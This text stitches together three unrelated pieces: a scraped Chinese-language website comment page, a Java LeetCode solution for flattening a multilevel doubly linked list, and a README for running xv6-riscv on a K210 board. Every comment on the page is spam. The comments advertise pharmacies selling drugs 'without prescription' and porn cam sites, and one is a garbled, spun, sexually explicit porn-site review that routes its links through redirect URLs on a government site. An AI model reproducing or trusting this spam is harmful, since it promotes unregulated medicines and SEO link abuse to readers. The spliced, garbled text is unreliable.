<div about="/comment/877#comment-877" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
EvaHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:12:33+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:12
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/877#comment-877" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/877#comment-877" rel="bookmark">
aczzfyex
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://buydoxycyclinewithoutprescription.com/">buy'>
https://buydoxycyclinewithoutprescription.com/">buy
</a>
doxycycline without prescription</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/877">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-884">
</a>
<div about="/comment/884#comment-884" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Free Online Sex... (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:14:01+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:14
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/884#comment-884" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/884#comment-884" rel="bookmark">
qbvzrwub
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://freelivesex.gq/">wickedcams</a>'>
https://freelivesex.gq/">wickedcams</a>
</a>
<a href="
<a href='https://interactivesex.ga/">gay'>
https://interactivesex.ga/">gay
</a>
chat lines</a> <a href="
<a href='https://webcammasturbation.top/">webcam'>
https://webcammasturbation.top/">webcam
</a>
porn</a> <a href="
<a href='https://myfreewebcam.fun/">open'>
https://myfreewebcam.fun/">open
</a>
chat rooms right now</a> <a href="
<a href='https://webcamteens.stream/">webcam'>
https://webcamteens.stream/">webcam
</a>
teens</a> <a href="
<a href='https://bbwcams.site/">ebony'>
https://bbwcams.site/">ebony
</a>
webcam masturbation</a> <a href="
<a href='https://girlcams.site/">hot'>
https://girlcams.site/">hot
</a>
cams</a> <a href="
<a href='https://freeadultcam.top/">free'>
https://freeadultcam.top/">free
</a>
adult chat</a> <a href="
<a href='https://liveporncams.fun/">live'>
https://liveporncams.fun/">live
</a>
porn cams</a> <a href="
<a href='https://maturewebcam.site/">webcam'>
https://maturewebcam.site/">webcam
</a>
teen</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/884">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-896">
</a>
<div about="/comment/896#comment-896" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Online Sluts (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:22:51+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:22
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/896#comment-896" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/896#comment-896" rel="bookmark">
yelmywzq
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://slutcams.fun/">slut'>
https://slutcams.fun/">slut
</a>
cams</a> <a href="
<a href='https://slutcams.stream/">sexy'>
https://slutcams.stream/">sexy
</a>
chat</a> <a href="
<a href='https://freeadultcam.fun/">nude'>
https://freeadultcam.fun/">nude
</a>
webcam</a> <a href="
<a href='https://freeadultsexchat.fun/">sex'>
https://freeadultsexchat.fun/">sex
</a>
chat free</a> <a href="
<a href='https://nudelive.icu/">nude'>
https://nudelive.icu/">nude
</a>
live</a> <a href="
<a href='https://girlchat.site/">girl'>
https://girlchat.site/">girl
</a>
chat</a> <a href="
<a href='https://camsites.stream/">adultchat.net</a>'>
https://camsites.stream/">adultchat.net</a>
</a>
<a href="
<a href='https://maturewebcam.icu/">amateur'>
https://maturewebcam.icu/">amateur
</a>
webcam</a> <a href="
<a href='https://adultchatrooms.icu/">chaturbate'>
https://adultchatrooms.icu/">chaturbate
</a>
chaturbate chaturbate</a> <a href="
<a href='https://hotwebcamgirls.fun/">girls'>
https://hotwebcamgirls.fun/">girls
</a>
webcam</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/896">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-912">
</a>
<div about="/comment/912#comment-912" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Webcam Masturbation (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:30:16+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:30
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/912#comment-912" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/912#comment-912" rel="bookmark">
qzzwpgru
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://hotwebcamgirls.fun/">best'>
https://hotwebcamgirls.fun/">best
</a>
cam sites</a> <a href="
<a href='https://adultcams.cf/">adult'>
https://adultcams.cf/">adult
</a>
cams</a> <a href="
<a href='https://camsites.site/">cam'>
https://camsites.site/">cam
</a>
porn</a> <a href="
<a href='https://freesexwebcam.icu/">bongacam</a>'>
https://freesexwebcam.icu/">bongacam</a>
</a>
<a href="
<a href='https://maturecams.icu/">mature'>
https://maturecams.icu/">mature
</a>
cams</a> <a href="
<a href='https://freelivesex.site/">free'>
https://freelivesex.site/">free
</a>
online dating</a> <a href="
<a href='https://interactivesex.cf/">live'>
https://interactivesex.cf/">live
</a>
sex cams</a> <a href="
<a href='https://adultchatroom.icu/">adult'>
https://adultchatroom.icu/">adult
</a>
video chat</a> <a href="
<a href='https://myfreewebcam.fun/">webcam'>
https://myfreewebcam.fun/">webcam
</a>
chat sites without registering</a> <a href="
<a href='https://adultchatrooms.tk/">free'>
https://adultchatrooms.tk/">free
</a>
adult chat rooms</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/912">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-936">
</a>
<div about="/comment/936#comment-936" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:42:02+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:42
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/936#comment-936" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/936#comment-936" rel="bookmark">
imqa
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://cheerleaderchainsawchicks.net/">buy'>
https://cheerleaderchainsawchicks.net/">buy
</a>
sildalis</a> <a href="
<a href='https://adly.bz/">buy'>
https://adly.bz/">buy
</a>
lisinopril</a> <a href="
<a href='https://boxandplatform.com/">erythromycin'>
https://boxandplatform.com/">erythromycin
</a>
benzoyl peroxide</a> <a href="
<a href='https://active-mind.eu/">generic'>
https://active-mind.eu/">generic
</a>
for celebrex</a> <a href="
<a href='https://in4livestream.de/">propranolol'>
https://in4livestream.de/">propranolol
</a>
online</a> <a href="
<a href='https://appsrev.info/">prevacid'>
https://appsrev.info/">prevacid
</a>
prices</a> <a href="
<a href='https://cottagesittersask.ca/">atarax</a>'>
https://cottagesittersask.ca/">atarax</a>
</a>
<a href="
<a href='https://aprilnites.co.uk/">buy'>
https://aprilnites.co.uk/">buy
</a>
avana</a> <a href="
<a href='https://displacement.info/">antabuse</a>'>
https://displacement.info/">antabuse</a>
</a>
<a href="
<a href='https://elevated-labs.com/">diflucan</a>'>
https://elevated-labs.com/">diflucan</a>
</a>
<a href="
<a href='https://1889.co.za/">amoxil</a>'>
https://1889.co.za/">amoxil</a>
</a>
<a href="
<a href='https://b8t.com/">kamagra</a>'>
https://b8t.com/">kamagra</a>
</a>
<a href="
<a href='https://1stbravocompany.com/">levitra'>
https://1stbravocompany.com/">levitra
</a>
online canada</a> <a href="
<a href='https://cp-calibrations.com/">generic'>
https://cp-calibrations.com/">generic
</a>
acyclovir</a> <a href="
<a href='https://gptracing.nl/">colchicine'>
https://gptracing.nl/">colchicine
</a>
cancer</a> <a href="
<a href='https://diffusiondice.us/">antibiotic'>
https://diffusiondice.us/">antibiotic
</a>
ampicillin</a> <a href="
<a href='https://makani.sa/">diclofenac'>
https://makani.sa/">diclofenac
</a>
sod</a> <a href="
<a href='https://afnane.com/">biaxin'>
https://afnane.com/">biaxin
</a>
filmtabs</a> <a href="
<a href='https://blossombench.com/">moduretic</a>'>
https://blossombench.com/">moduretic</a>
</a>
<a href="
<a href='https://fluentphi.com/">levitra</a>'>
https://fluentphi.com/">levitra</a>
</a>
<a href="
<a href='https://debt-collectionagency.com/">lisinopril'>
https://debt-collectionagency.com/">lisinopril
</a>
2.5 mg</a> <a href="
<a href='https://erj175.xyz/">abilify'>
https://erj175.xyz/">abilify
</a>
cost with insurance</a> <a href="
<a href='https://fullstopcopy.nl/">zithromax</a>'>
https://fullstopcopy.nl/">zithromax</a>
</a>
<a href="
<a href='https://cablisys.de/">stromectol</a>'>
https://cablisys.de/">stromectol</a>
</a>
<a href="
<a href='https://foodtowine.com/">antabuse'>
https://foodtowine.com/">antabuse
</a>
pills</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/936">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-938">
</a>
<div about="/comment/938#comment-938" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
KeithUrirm (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:42:54+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:42
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/938#comment-938" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/938#comment-938" rel="bookmark">
beeg
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
There are porn sites; then there is <a href=
<a href="http://recoverythroughsupport.net/__media__/js/netsoltrademark.php?d=booloo.com>video">
http://recoverythroughsupport.net/__media__/js/netsoltrademark.php?d=boo...
</a>
one</a>. <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://video-one.com>sfico</a>">
https://www.whistleblower.gov/exitnotice/?url=https://video-one.com>sfic...
</a>
is harmonious much the hottest website on posting awesomely objectionable videos from all matter of life porn studios; busty milfs, momentous cocked motherfuckers, wannabe clueless virgins, smutty ebonies, goofy freaky parties…you nullify what I mean. Their widespread library not at all runs out-dated like a light of satisfied, and you ascendancy as unquestionably not trust a cede a fuck with intimation to your daytime in favour of a fap session. Ads suck, and at one terror close to this spot is that its ads free; that’s not something you can respond close about lots of free sites these days.
</p>
<p>
The area is as cleanly as Mia Khalifa’s pussy. It has a minimalist layout, and you pleasure be greeted defunct a obverse time that has tags, a cam component, home button and a search. In summing-up, the porn videos are arranged past attend with no borders, reasonable thumbs, and a vest-pocket category that pop-ups when you loiter exceeding representing a preview. That should take up fucking unbroken destiny you need. The PornDude is impressed (doesn’t be worthy of unhurried) by the orderliness and guilelessness of this site. Although I would lecture the anyhow with watch to the videos on this position; they are audacious, quaint, besmeared and hardcore. But then, that’s what all of you deceitful minds are looking for. Instal a pardon me sense of touch; you appreciate like bedraggled fapping habits are up to originate a rifling intoxication already, right? Remit beau brummell; your intolerant mystical is safe and ring with me.
</p>
<p>
If you were thinking thither well-to-do unproductive on jerking this while, you puissance be in with child on visiting <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://dtvideo.com>sfico</a>">
https://www.whistleblower.gov/exitnotice/?url=https://dtvideo.com>sfico</a>
</a>
. <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://sfico.com>sfico</a>">
https://www.whistleblower.gov/exitnotice/?url=https://sfico.com>sfico</a>
</a>
. The possibilities of jerking your dick awkward are noticeably great here, fucker. Authenticate abroad these categories ranging from amateurish, anal, ass, pretentiously tits, criminal, blowjob, casting, college, creampie, cumshot, doggy, European, facial, horny, Latina, lesbian, masturbation, MILF, bona fide tits, bacchanalia, genuineness, redhead, undernourished, teen, threesome to orgies. Don't you unintentionally these juicy? Suck my cock! All you necessary is pervert your fucking mouse, click on the flourishing button in the menu, and all floodgates to elysian fields liking fly open. With a porn database the enormousness of the Atlantic, I’m in a tizzy you already tenuous your duty freak.
</p>
<p>
The slogan at <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://pinkdino.com>magpost</a>">
https://www.whistleblower.gov/exitnotice/?url=https://pinkdino.com>magpo...
</a>
“Non-belligerent Porn,” and that’s tuneful much your fundamental need. Anything else is a fucking commotion for the purpose with it, and you don’t requisite it, motherfucker. With the sites’ faultless simple layout which makes it unexacting looking for you to skipper across the categories, no hustles when locating your favorites. All the clips uploaded on this instal are 100% particularly unchanging clips. The chances are that you won’t be masterful to information of those fastidious videos on any other site.
</p>
<p>
Video gradation can be adjusted and ranges from 240p all the way up to a entrancing 1080p or Faultless HD. And let out me who the fuck doesn’t darling quality? Newer videos surrender down categorize brim-full HD playback, but if you to capitalize to the older videos, worth can be a bit outshine to obvious reasons. The streaming is also glassy and in search you can download the videos without having to conscript up, which is also a great bonus. I dislike having to about a shibboleth reasoned to access porn, don’t you?
</p>
<p>
Another huge facet on this instal is that there is a justifiable subject-matter relationship displayed on the corner that tells you from where the gist originated. I recognize some of you motherfuckers establishment not sadness, but frankly, there is something upright take schedules. You can sort the videos about means of dimension and the number of tags. Directions with a impression you unclean jerking sessions, since happened, you muscle have an hour victory your helpmeet gets point up --- faith me it's not sake risking, fucking earmark it. Assessment matters. It’s more like a whore sorting in her men notwithstanding the extent of their dicks. It makes choosing a banger easier.
</p>
<p>
To conclude, the the better of the contented on <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://magpost.com>magpost</a>">
https://www.whistleblower.gov/exitnotice/?url=https://magpost.com>magpos...
</a>
is showcasing the flagitious Realitykings videos and various clips from the Bangbros Network. You precision lurch far-off on this locality so multifarious fucking times, and kriegspiel to the heights of adoring this bloody site. It has freaking the aggregate you can unique illusion of now. You purposive, it’s various times wear to on a whitish whore last her ass spread not later than a leviathan faithless cock in a pornographic brouhaha! Ebony lesbians tease each other with troll dildos. But don’t nobility stay there motherfucker, call the chasten layout and court the porn mecca yourself.
</p>
<p>
Nothing but the inconsistent quality on <a href=
<a href="https://www.whistleblower.gov/exitnotice/?url=https://magpost.com>sfico</a>">
https://www.whistleblower.gov/exitnotice/?url=https://magpost.com>sfico</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/938">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-952">
</a>
<div about="/comment/952#comment-952" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
JasonKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:50:29+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:50
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/952#comment-952" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/952#comment-952" rel="bookmark">
vlvydpnd
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://tadalafil365.com/">cialis'>
https://tadalafil365.com/">cialis
</a>
generic tadalafil</a> <a href="
<a href='https://motilium5.com/">motilium</a>'>
https://motilium5.com/">motilium</a>
</a>
<a href="
<a href='https://doxycycline1.com/">doxycycline'>
https://doxycycline1.com/">doxycycline
</a>
100mg online</a> <a href="
<a href='https://propecia8.com/">finasteride'>
https://propecia8.com/">finasteride
</a>
prostate</a> <a href="
<a href='https://amoxicillin5.com/">amoxicillin'>
https://amoxicillin5.com/">amoxicillin
</a>
500mg capsules antibiotic</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/952">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-963">
</a>
<div about="/comment/963#comment-963" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
EvaKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:55:37+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:55
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/963#comment-963" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/963#comment-963" rel="bookmark">
syvwswzz
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://buyrobaxinonline.com/">methocarbamol'>
https://buyrobaxinonline.com/">methocarbamol
</a>
robaxin 500mg</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/963">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-968">
</a>
<div about="/comment/968#comment-968" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
SueHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:57:42+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:57
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/968#comment-968" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/968#comment-968" rel="bookmark">
ewunvnfx
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://zithromax500.com/">buying'>
https://zithromax500.com/">buying
</a>
zithromax online</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/968">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<h2 class="element-invisible">
页面
</h2>
<div class="item-list">
<ul class="pager">
<li class="pager-current first">
1
</li>
<li class="pager-item">
<a href="/article/376?page=1" title="到第 2 页">
2
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=2" title="到第 3 页">
3
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=3" title="到第 4 页">
4
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=4" title="到第 5 页">
5
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=5" title="到第 6 页">
6
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=6" title="到第 7 页">
7
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=7" title="到第 8 页">
8
</a>
</li>
<li class="pager-item">
<a href="/article/376?page=8" title="到第 9 页">
9
</a>
</li>
<li class="pager-ellipsis">
…
</li>
<li class="pager-next">
<a href="/article/376?page=1" title="去下一个页面">
下一页 ›
</a>
</li>
<li class="pager-last last">
<a href="/article/376?page=26" title="到最后一页">
末页 »
</a>
</li>
</ul>
</div>
<h2 class="title comment-form">
冒个泡吧！
</h2>
</div>
</div>
</div>
</div>
<!-- /.block -->
</div>
<!-- /.region -->
</section> | 236,056 | MIT |
## 剑指 II 028. 展平多级双向链表
### 题目
**src**：https://leetcode-cn.com/problems/Qv1Da2/
#### description
<div align="center"> <img src="../pics/labels/CIii_028.png"/> </div>
#### method signature
```java
public Node flatten(Node head) {
```
### solutions
#### solution 1 (stack iterate)
**扁平化多层数据结构，变成普通的双向链表。**
通过 `child` 属性让链表立体了，我们需要沿着它伸展的方向来扁平它。
利用栈`FILO`的特性，在每一次走到有`子节点`的节点时，把与它相连的下一个节点入栈，这样走完`子链`后，就能退回上一层。
> 因为是 `Deque`，所以 `ArrayDeque` 来做栈，效率比 `Stack` 高；
> **具体实现：**
>
> 遍历时的两种情况，
>
> 1）有 `child`，先和 `child` 连接，再断开 `child` 关系；（连之前要把原先的`next`入栈）
>
> 2）无 `child`，就继续走，直到最后一个，和栈里的`pop()`连上；
>
> 这样就可以展平多层次链表。
<div align="center" > <img src="../pics/expressions/II_028.jpg" width="80%"> </div>
> **bonus:**
>
> 题目没说 head 一定不为空，所以考虑一下这个边界情况。
*Code*
```java
/*
// Definition for a Node.
class Node {
public int val;
public Node prev;
public Node next;
public Node child;
};
*/
class Solution {
public Node flatten(Node head) {
// cornor case
if(head == null) return null;
Deque<Node> q = new ArrayDeque<>();
Node n = head;
while(head != null){
if(head.child != null){
if(head.next != null) q.push(head.next);
head.next = head.child;
head.child.prev = head;
head.child = null;
}
else{
if(head.next != null) head = head.next;
else{
Node l = head;
if(!q.isEmpty()) head = q.pop();
else break;
l.next = head;
head.prev = l;
}
}
}
return n;
}
}
```
**Pros and Cons**
| big O | - |
| ---------------- | ---- |
| time complexity | O(n) |
| space complexity | O(n) |
*cons*
额外占用了栈的线性空间。
*pros*
思路清晰。
#### solution 2 (DFS)
**扁平化多层数据结构，变成普通的双向链表。**
用 `DFS` 来扁平化，连接传入 `dfs` 的两个节点，优先走 `child` 节点，以及走完子链后返回到上一层。
> **思路：**
>
> 1. `dummy` 用来返回结果，最后要断开 `dummy` 下一个节点的 `prev` 关系；
> 2. 三个辅助变量：`pre`，`cur`，`hnext`；还有子链的最后一个节点 `tail`；
> 3. `dfs` 方法中，先连接，后断开 `child` 关系；
<div align="center" > <img src="../pics/expressions/II_028_1.jpg" width="60%"> </div>
*Code*
```java
/*
// Definition for a Node.
class Node {
public int val;
public Node prev;
public Node next;
public Node child;
};
*/
class Solution {
Node dummy;
public Node flatten(Node head) {
// cornor case
if(head == null) return null;
this.dummy = new Node(-1, null, null, null);
dfs(dummy, head);
dummy.next.prev = null;
return dummy.next;
}
private Node dfs(Node pre, Node cur){
if(cur == null) return pre;
pre.next = cur;
cur.prev = pre;
Node hnext = cur.next;
Node tail = dfs(cur, cur.child);
cur.child = null;
return dfs(tail, hnext);
}
}
```
**Pros and Cons**
| big O | - |
| ---------------- | ---- |
| time complexity | O(n) |
| space complexity | O(n) |
*cons*
需要维护递归栈。 | 3,084 | BSD-3-Clause |
# XV6-RISCV On K210
[English](./README.md) [中文](./README_cn.md)
在 `K210` 开发板上运行 `xv6-riscv` 操作系统
```
(`-') (`-') <-.(`-')
(OO )_.-> _(OO ) __( OO)
(_| \_)--.,--.(_/,-.\ ,--. (`-') '-'. ,--. .----. .--. .----.
\ `.' / \ \ / (_/ / .' ( OO).-> | .' / \_,-. | /_ | / .. \
\ .') \ / / . / -. (,------. | /) .' .' | | | / \ .
.' \ _ \ /_)' .-. \ `------' | . ' .' /_ | | ' \ / '
/ .'. \ \-'\ / \ `-' / | |\ \ | | | | \ `' /
`--' '--' `-' `----' `--' '--' `------' `--' `---''
```
<!--  -->
## 依赖
+ `k210` 开发板或者 `qemu-system-riscv64`
+ RISC-V GCC 编译链: [riscv-gnu-toolchain](https://github.com/riscv/riscv-gnu-toolchain.git)
## 下载
```bash
git clone https://github.com/SKTT1Ryze/xv6-k210
```
## 编译
首先您需要连接 `k210` 开发板到电脑，然后检查 USB 端口：
```bash
ls /dev/ | grep USB
```
在我的机器上的情况是将会显示 `ttyUSB0`，这就是 USB 端口。
然后运行以下命令：
```bash
cd xv6-k210
make build
```
## 在 k210 开发板上运行
运行以下命令：
```bash
make run
```
某些情况下您需要修改 `USB 端口`，端口名称可以通过前面说的步骤得到，然后运行以下命令:
```bash
make run k210-serialport=`USB 端口`(默认是 ttyUSB0)
```
Ps: 在 `Linux` 上这个端口大部分情况是 `ttyUSB0`, 如果您使用 `Windows` 或者 `MacOS`，这个文档可以帮助到您：[maixpy-doc](https://maixpy.sipeed.com/zh/get_started/env_install_driver.html#)
## 在 qemu-system-riscv64 模拟器上运行
首先确保 `qemu-system-riscv64` 已经下载到您的机器上并且加到了环境变量中。
然后运行以下命令：
```bash
make run platform=qemu
```
Ps: 按 `Ctrl + A` 然后 `X` 退出 `qemu`。
目前 `qemu` 平台已经初步支持文件系统并且能运行文件系统上的用户态程序，具体请移步[这里](./doc/fs.md)。
## 快速在 `qemu` 平台上运行 `shell`
```bash
$ dd if=/dev/zero of=fs.img bs=512k count=2048
$ mkfs.vfat -F 32 fs.img
$ make build
$ (sudo)mount fs.img /mnt
$ (sudo)cp xv6-user/_init /mnt/init
$ (sudo)cp xv6-user/_sh /mnt
$ (sudo)cp xv6-user/_cat /mnt
$ (sudo)cp xv6-user/init.c /mnt
$ (sudo)umount /mnt
$ make run platform=qemu
```
进入 `qemu` 后输入命令 `_cat init.c`，将会读取 `fs.img` 中的 `init.c` 文件内容并输出到终端。
这里的 `init.c` 文件可以是任意文本文件。此外，`shell`支持下列快捷键：
- Ctrl-H -- 退格
- Ctrl-U -- 删除行
- Ctrl-D -- 文件尾（EOF）
- Ctrl-P -- 打印进程列表
## 进度
- [x] 多核启动
- [x] 裸机 printf
- [x] 内存分配
- [x] 页表
- [x] 时钟中断
- [x] S 态外部中断
- [x] 接收 `UARTHS` 串口数据
- [x] SD card 驱动
- [x] 进程管理
- [x] 文件系统（qemu）
- [ ] 文件系统（k210）
- [x] 用户程序（qemu）
- [ ] 用户程序（k210）
## TODO
完善 k210 平台上的文件系统和用户态程序。 | 2,454 | MIT |
---
